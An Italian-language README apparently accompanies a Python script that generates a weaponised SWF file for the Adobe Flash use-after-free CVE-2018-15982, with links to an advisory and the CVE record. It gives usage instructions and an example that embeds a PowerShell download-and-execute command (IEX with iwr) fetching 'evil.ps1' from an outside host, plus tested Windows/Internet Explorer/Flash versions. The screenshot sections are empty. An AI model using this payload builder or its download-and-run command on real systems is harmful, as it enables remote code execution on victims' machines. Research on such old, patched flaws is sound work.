Adobe Flash CVE-2018-15982

Questo script crea un payload swf per CVE-2018-15982, basato sul PoC di https://github.com/smgorelik/Windows-RCE-exploits. La vulnerabilità è stata scoperta da Chenming Xu e Ed Miles di Gigamon ATR.

La vulnerabilità è un difetto use-after-free che consente l'esecuzione arbitraria di codice in Flash. Ulteriori informazioni sono disponibili nei link seguenti.

• https://threatpost.com/adobe-patches-zero-day-vulnerability-in-flash-player/139629/
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-15982

Nota: attualmente viene spruzzato un solo blocco, me ne sono accorto dopo aver creato lo script.

Utilizzo:

python create_swf.py <comando> <nome file di output>

Esempio di utilizzo:

python create_swf.py "powershell.exe IEX (iwr 'http://192.168.56.101/evil.ps1')" downloadtest.swf

Testato su:

• Windows 10 Enterprise 10.0.17134, Internet Explorer 11.285.17134.0
• Adobe Flash 31.0.0.153, 29.0.0.140

Esempio

Creazione del payload:

Esecuzione del payload:

Conferma dell'esecuzione:

Modulo Metasploit